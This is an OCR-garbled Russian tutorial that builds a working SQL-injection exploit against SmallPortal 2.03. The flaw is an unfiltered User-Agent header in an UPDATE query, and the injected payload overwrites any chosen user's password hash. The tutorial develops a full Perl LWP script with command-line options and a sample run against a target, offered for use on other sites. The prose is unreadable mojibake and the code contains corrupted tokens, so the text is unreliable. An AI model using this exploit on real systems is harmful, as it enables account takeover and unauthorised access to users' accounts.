Hwxe MBI monbITaeMcst HOAPOOHO pa3o0paTh Kak YCTPOSHBI M UCIIONB3YIOTCS JBE YSI3BUMOCTH OOHApPYKCHHBIE HaIICH
KOMaH/I0% B JABIXKKe 1yt caiitoB SmallPortal Bepcuu 2.03.
Ha camom zaene ux 0110 00HapyKEHO HAMHOTO OOJIBIIIE, HO TOJIBKO K JIBYM M3 HUX OBIIM HAIMCAaHBI KCIUIOWTHI. MBI €, B CBOIO
ouepeib, MOAPOOHO N3YUHM 3TH JIBE YSI3BUMOCTH M HAIMIIEM K HUM 2 CBOUX IKCIIJIONTA IMOJHOCTBIO C HYJIS.

[epBas ysa3BuMocTh OblTa OOHApyXeHa B CKpUITE system.php, Haxozsmiemcst B Aupekropun /inc/auth _function.
OTKpoliTe JaHHBIH CKPUNT ¥ 00paTHTE BHUMAaHHUE Ha CTPOKY 18:

define(" SN_USERAGENT", substr((trim (5_SERVER['HTTP_USER_AGENT'])), 0, 80));

Jannsnii kox co3naét koHctanty SN__USERAGENT u npucsauBaer et 3nauenue saeriku HTTP_USER AGENT, rno6ansHoro
maccuBa § SERVER. B $ SERVER['HTTP_USER AGENT'] naxoaurcst uadopmarus o Opaysepe nonb3oBarens. JJanHbit
3aroJIOBOK MakeTa OpMHUPYETCsS Ha CTOPOHE KIMEHTA.

[anee criycTurech HIDKE 10 KOy M 00paTHTe BHUMAaHUE Ha CTPOKY 68:

$db->sql_query("UPDATE ".Sconf['member_prefix']." members SET user_actkey = 'Suser_actkey', user_agent =
"', SN_USERAGENT."', last_ip = '$last_ip', last_date = 'Slast date’' WHERE user_id='$setuid'");

3neck Mbl BUuauM uTo ¢ nomotisio UPDATE-3anpoca u3mensiercst coaepkumoe Tabuuiibl members. B koHCTpyKkimu 3ampoca ecth
4 mepeMeHHBIX W 0JJHa KOHCTaHTA.
[lepemennbie GOPMUPYIOTCS CIEAYIOIIMM 00pa3oM:

1. Cogepxumoe nepemenHoii $user actkey hopmupyercs B cTpokax 61-63 cneayronmum KoaoMm:

$maxran = 1000000;

Suser_actkey = mt_rand(0, Smaxran);

Suser_actkey = md5($user_actkey);

Kak BHITHO — 3Ha4Y€HUE ITOM NEpEeMEHHOM HaM HenoBiacTHO. CMOTPHUM JlallbIIe.

2. Koncranta SN USERAGENT. B Heii nexxur undopmanus o 6paysepe knuenra. Madopmanust u3 3Toif KOHCTaHTHI

HHUKAaK HE ITPOBEPSIETCS U TeM 00jIee HE M3MEHIETCS TOTOMY YTO COAEPKHUMOE KOHCTAaHT MEHSATh HEBO3MOXKHO.

3. Tlepemennas $last_ip comepxur IP-anpec kinrenta. Ona popmupyercst B CTpoke 66 CleayonuM KOI0M:
$last_ip=$ SERVER['REMOTE_ADDR'];

[Hone REMOTE_ADDR nukak He nogaenats. Uném nanbiie.

4. Crenywoinas nepemennas - $last date. Ona hopmupyercs mpsmMo mepe; 3aIpocoM B CTpoke 67:
$last_date = time();

Ha e€ coaepxumoe MblI TOKE HE MOYXKEM MOBJIHUATH.

5. U nmocnennss nepemenHas - $setuid. @opMupyercst OHa CIAEIYIOIIUM KOIOM (CTpoKa 64):

$setuid = $Srow['user_id'];

Maccus $row obpasyercs npu SQL-3arpoce B cTpoke 55.

Wtak. MBI 0cMOTpenu Bee IepeMEeHHbIC ¥ KOHCTAHTY, U MIPUILIH K BBIBOAY YTO MOKEM MPOU3BOJIBHO (JOPMHUPOBATH JINIIH
koHcTaHTy SN _USERAGENT.

Pa3 nannbie u3 monst HTTP._ USER AGENT Hukak He QUIBTPYIOTCS TO MBI MOJKEM OOPaTHTCS K CTPAHUIIE C
IIPOM3BOJILHBIM €r0 3HAaYE€HHEM U BCTAaBUTh Kakoi yrogHo SQL-kox B 3TOT 3aroyioBok. Terneps npeacTaBuM 3alpoc B YUCTOM
Buze. [Tycts npedukc y Hac Oymet "sn_ ", kirouém akruBaiuu(Suser actkey) — 0, IP-agpecom kimenta — 127.0.0.1, natoit
MOCJIeIHero noceueHus — 1, Homep noib3oBareis Oyzxer 1, a B none HTTP._USER AGENT 6yner i cnioBo Mozilla.
[Ipu Takmx HaHHBIX B CTPOKE 68 chopMHUpoBasICsS OBI CICAYIOMIN 3aIpoc:

UPDATE sn_members SET user_actkey ='0', user_agent = '"Mozilla', last_ip ='127.0.0.1', last_date ='1' WHERE
user_id="1";

[enbro KCIUTONTA OT HAIe KOMaHbI ObllIa CMEHA MMapoJis y MPOU3BOJIBHOIO TOJIB30BaTeNs. JaBaiiTe IOCMOTPUM KakK 3TOT0O
MOXHO A00uThCs? HauHéM ¢ TOro 94To X311 Mapoist XpaHUTCs B Tabnuiie members, B mose user password. B 3anpoce,
c(hOpMHPOBAHHOM B CTPOKe 68 Kak pa3 u3MeHseTcs Tadnuia members. Ce10BaTEIbEHO HaM HY>KHO TOJBKO JOOABHUTH B 3aIPOC
HOBOE COJICP)KUMOE TIOJIS User _password, yka3aTh X311 Mapoist ¥ H3MEHUTh HoOMep monb3oBaTens. [lycTs xamem maposs Oyaer
c4ca4238a0b923820dcc509a6175849b (310 X311 eAMHUIIBI) a HOMEp aTaKyeMoro noib3oBatens oynet 2. Toraa B mose

HTTP _USER AGENT nomkHO OBITH Cileyroliee 3HaueHue:

';user_password='c4ca4238a0b923820dcc509a6175849b' WHERE user_id=2/*

JlaBaiiTe TocCMOTpUM Ha 3arpoc KoTopslit momyuutcs B utore ecnu none HTTP_ USER AGENT Gyner coaepxatb
BBIIICONTMCAHHOE 3HAYCHUE!

UPDATE sn_members SET user_actkey ='0', user_agent = '',user_password='c4ca4238a0b923820dcc50926f75849b’
WHERE user_id=2/*'", last_ip = '127.0.0.1', last_date ="'1' WHERE user_id="'1");

B Temne 3anpoca moguépKHyTa Ta 4aCTh KOTOPYIO MBI 1o0aBmid. Tak Kak HaIll IOJCTaBHOW 3aIllpoC 3aKaHYMBAETCs Ha «/*» To BcE
YTO ITOCIIE 3TUX CHMBOJIOB — BOCIIPHMETCSI KAaK KOMMEHTapHuid. B UTore BRIMOTHUTCS TONBKO ciemyromuii SQL-kxo:

UPDATE sn_members SET user_actkey ='0', user_agent = "",user_password="'c4ca4238a0b923820dcc509a6f75849b’
WHERE user_id=2



W3 3anpoca BUIHO 4TO OH JIEHCTBUTEIFHO MEHSET X3 [apoJisl y MoJIb30BaTeNs ¢ HoMepoM 2. Cxemy padoThl YSI3BUMOCTH MBI
pa3obpaiu, Teneps rnepej HaMU CTOUT 3aj1ada HallMCcaHus padovero SKCIUIONTA.

EnuHCTBEHHBIM TpeboBaHMEM JJIs UCIIOIB30BaHMUs HAIIETO YKCIIJIONTa OyIeT Hajrure AEHCTBYIONIET0 aKKayHTa Ha
caiite. He mmest akkayHTa MBI HE CMOXKEM aBTOPHU3HUPOBATHCS, CIEIOBATEIHHO HE CMOXKEM ITOIIENATh 3ampoc. S 3aperncTpuposan
akkayHT "Maya" ¢ maponem "jum26Fn" u akkaynT "Kuzya" ¢ maponem "saf37Rn". BbI Tak jke ZOIKHBI 3aperuCcTpUPOBATH 2
TMoOBIX akkayHTa. Teneps HaM HY)KHO OCMOTPETh (opMy aBTOpu3amu. Bot kox Gpopmbl OBICTPOI aBTOPH3ALNH KOTOpast
HaXOJWTCS Ha ITPAaBOW MaHENH:
<form action="index.php?go=Members" method="post'">
<table border="0" cellpadding="0" cellspacing="2" width="100%"">
<tbody>
<tr><td>Jlorun:</td>
<td align=""right">
<input name="user_name" size="10" type=""text">
</td></tr>
<tr><td>ITapoas:</td><td align=""right'">
<input name="user_password" size=""10" type="password'>
</td></tr>
<tr><td colspan="2">
<table border="0" cellpadding="0" cellspacing="0" width="100%"">
<tbody><tr><td width="100%">3anoMHuTh MeHaA</td><td>
<input name="autologin" type="checkbox'>
</td></tr></tbody></table></td></tr>
<tr><td colspan="2">
<input name="login" value="BoiiTn..." type="submit'>
</td></tr><tr><td colspan="2" align=""center"><a href="index.php?go=Members&amp;in=new_user'>Perucrpanua</
a>
<br>
<a href="index.php?go=Members&amp;in=lost_pass">HanoMuuts napoap</a></td></tr></tbody>
</table></form>
OTcroia BUTHO 9TO HaM HYXKHO OTIIPaBUTh Ha cepBep 4 Mous:

6. user_name

7. user_password

8. autologin

9. login
[a, comeprMoe KHOIIKH TOXE OTIIPABISIETCSI TPY aBTOpH3aLuK. [Ipy 7TOM HaM HY»KHO yKa3aTbh CHEeLHaIbHO C(HOPMUPOBAHHOE
mone HTTP_USER AGENT. Bcé€ Oyzner npoucXoauTh B OJHO AeiicTBre. MBI TPOCTO OyIeM MOCHUIATh BMECTE C MOJISIMHE IS
aBTopm3anuu onacHsli kof B 3arogoBke HTTP_USER AGENTHY)XHOMY CKPHIITY.

DKCIUIOWUTY OT ITOJIb30BATENS HY)KHO OyZIET IepenaTh 5 mapaMeTpoB:

AJipec arakyemoro caiura.

JloruH u1st aBTOpHU3ALHH.

[Mapoxp ans aBTOpU3aMy.

Id monp30BaTeNs y KOTOPOTO HY’)KHO CMEHHTH 1apOJlh.

X311 HOBOTO MapoJIs.
Bcé€ aTo MBI 3anipocuM BBUE apaMeTpoB K CKpUNTY. Ilocie 3amycka cKpunT BO3bMET 3TH JaHHBIE U MONUIET ONACHBIN 3aIIpoc Ha
aBTOPU3ALIHIO.
Jlyst HanMcaHMs 3KCIUIONTa MBI Oy/IeM HCITONb30BaTh 3 KOMIIOHCHTA:
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;

[anee, mo xomy pabOTHI 3KCIIJIONTA, HAM HYXKHO HOJIYYHUTh BCE ITapaMeTphl BBEACHHBIE MI0JIH30BATENIEM, HO CIIEPBA MBI IIPOCTO
MIPOTIHIIEM WX B CKPHIITE IS TPOBEPKH PabOTOCIIOCOOHOCTH:

# Bce 5TH 1aHHBIE J0JKHBI OBITh 3aMeHeHbI Ha Bamm.
$url = 'http://smallportal/’;

$login = 'Kuzya';

$password="saf37Rn';

Suid ="2';

Shash = 'c4¢a4238a0b923820dcc509a6f75849b';

I[anee MBI JOJDKHBI OTIPEACIINTE OCHOBHBIC IEPEMEHHBIC, HY>KHBIC UIS IIPOBEACHUS 3al1poca.

# IlyTh U3 KOPHS caiiTa K CKPUITY AaBTOPU3ALMU:
my Sauth_path="7?go=Members"’;

# Co3naém KOMIIOHEHT Opay3epa

my $browser = LWP::UserAgent->new();

# IlpuBsi3biBaeM K HeMy NMOAEP:KKY cookies.



my $cookie_jar = HTTP::Cookies->new();

$browser->cookie jar($cookie jar);

# B nepemeHnHoii Suser_agent MbI 6yaeM XpaHMTh HAIy CIIeNHAJIBHO-

# chopMHPOBAHHYIO CTPOKY

my Suser_agent = "',user_password='${hash}' WHERE user_id=${uid}/*";

Jlanee MbI TOJDKHBI HanmcaTh camy (YHKIHMIO Ipon3Bosinyto araky. OHa Oyner Ha3pIBaThes attack():

sub attack()
{
# npocto oTnpaBasiem POST-3anpoc aBTopuzanun
# Ha cepBep, ¢ moaaeabHbIM 3arosioBkoM USER_AGENT
$answer = $browser->post($url.$auth_path,
[
# 3ano/HsieM Bce MOJIs
'user_name' => $login,
'user_password' => $password,
'‘autologin' =>'1',
'login' => "Login"],
# Yka3pIiBaeM HAIll ONACHBII 3ar0JI0BOK
'USER_AGENT' => Suser_agent
)
}

Teneps Hy>)KHO COOPATh TECTOBBIA BAPUAHT HAIIETO YKCILIOUTA BOSIAUHO:
use LWP::UserAgent;

use HTTP::Cookies;

use Getopt::Long;

$url = 'http://smallportal/';

# B mepemennbix $login n $password ykaxkure cBOii JJOTHH U MAPOJIb
$login = 'Kuzya';

$password="saf37Rn';

# B nepemenHoi $uid yka:kute HoMep aTakyemoro Bamu nosan3oBarens
$uid ="2';

$hash = 'c4ca4238a0b923820dcc509a6175849b';

# IIyTh U3 KOPHS caliTa K CKPUIITY ABTOPU3aLMH:

my $auth_path="7?go=Members";

# Co3naém KOMIIOHEHT Opay3epa

my $browser = LWP::UserAgent->new();

# IlpuBsi3bIiBaeM K HeMYy MOAJEP:KKY cookies.

my $cookie_jar = HTTP::Cookies->new();

$browser->cookie_jar($cookie_jar);

# B nepemenHoii $user_agent MbI 0yieM XpaHHTh HALIy CHeNHAIbHO- # copMHPOBAHHYIO CTPOKY
my Suser_agent = ""',user_password='${hash}' WHERE user_id=${uid}/*";

sub attack()
{
# npocto ornpaBasiem POST-3anpoc aBTopuzanun
# Ha cepBep, ¢ noaaeabHbIM 3arojioBkoMm USER_AGENT
$answer = $Sbrowser->post(Surl.$auth_path,
[
'user_name' => $login,
'user_password' => $password,
'autologin' =>'1',
'login' => ""Login"],
'USER_AGENT' => Suser_agent
)
}

# Tenepb NPoCTO BHI30BeM (PYHKIMIO aTAKH
&attack();

B Ttakom BUJC SKCIIJIOUT 0Tpa6OTaJ'I OTJIMYHO U CMCHUJI IApPOJIb Y HY?KHOT'O IIOJIb30BATCIIs. Ho nam HYKHO eH.Ié I[O6aBI/ITB KoL
TMOJYYCHUA NaHHBIX OT MOJIB30BATCIIA U q)yHKIII/IIO help‘a. Bor KOoJ nonyqa}omnizi JAaHHBIC OT I10JIb30BaTCIIA:

Soptions = GetOptions (

'url=s' =>\$url,



'login=s' =>\$login,
'password=s' =>\$password,
'uid=s' =>\$uid,

'hash=s' =>\$hash,

)
Oynaknus help():
sub help()
{
print " \n"';
print "Usage:\n";
print "--url= host\n";
print "--login= username for auth\n"';
print "--password= password\n"’;
print "--uid= id of target user\n"’;
print "--hash= new password-hash for target user\n"’;
print " \n"';
}

JanHas ¢yHKIMsE OyeT BbI3bIBATHCS €CIIU HE YKa3aH XOTs Obl OJJMH 13 NapameTpoB. Teneph HaM HY)KHO cOOpaTh Bech Halll KOJI B
OJIMH CKPUIIT BHECS HEKOTOPbIE KOPPEKTUPOBKU:

use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;

# mostyuaem Bce Hy»KHbI€ IapaMeTPbl
Soptions = GetOptions (

'url=s' =>\$url,

'login=s' =>\$login,

'password=s' =>\$password,

'uid=s' =>\$uid,

'hash=s' =>\$hash,

)

# EcJin X0Th OJMH M3 HUX He BBe[¢H — BbI3bIBaeM QyHkuuio help()

if (!$url||!$login||!$password||!Suid||!$hash) {&help();}

# IlyTh M3 KOPHA caliTa K CKPUNTY aBTOPU3AINN:

my $auth_path="7?go=Members";

# Co3naém KOMIOHEHT Opay3epa

my $browser = LWP::UserAgent->new();

# IlpuBsA3bIBaeM K HeMY MOAEPKKY cookies.

my $cookie_jar = HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);

# B mepemenHoii $user_agent MbI OyaeM XpaHHTDb HAIIY CIENHAJIBHO- # copMHPOBAHHYIO CTPOKY
my Suser_agent = ""',user_password='${hash}' WHERE user_id=${uid}/*";

sub attack()
{
# npocto ornpaBiasiem POST-3anpoc aBTopuzanun
# Ha cepBep, ¢ moaaeabHbIM 3arosioBkoM USER_AGENT
$answer = Sbrowser->post($url.$auth_path,
[
'user_name' => $login,
'user_password' => $password,
‘autologin' =>'1',
'login' => "Login"],
'"USER_AGENT' => $user_agent
)
}
# Tenepb BbI30BeM (PyHKLHMIO aTAKU
sub help()
{
print " \n"';
print "Usage:\n"’;
print "--url= host\n";
print ""--login= username for auth\n"';
print "--password= password\n"';




print "--uid= id of target user\n"’;
print "--hash= new password-hash for target user\n";
print " \n"';

}
&attack();

S 3aIyCTHIT DKCILIOUT CO CIEAYIOIIMMHE IIPAMETPAMU:
--url=http://smallportal/ --login=Kuzya --password=saf37Rn --uid=4 --hash= c4ca4238a0b923820dcc509a6f75849b

Bcé npouuto otinyHo.



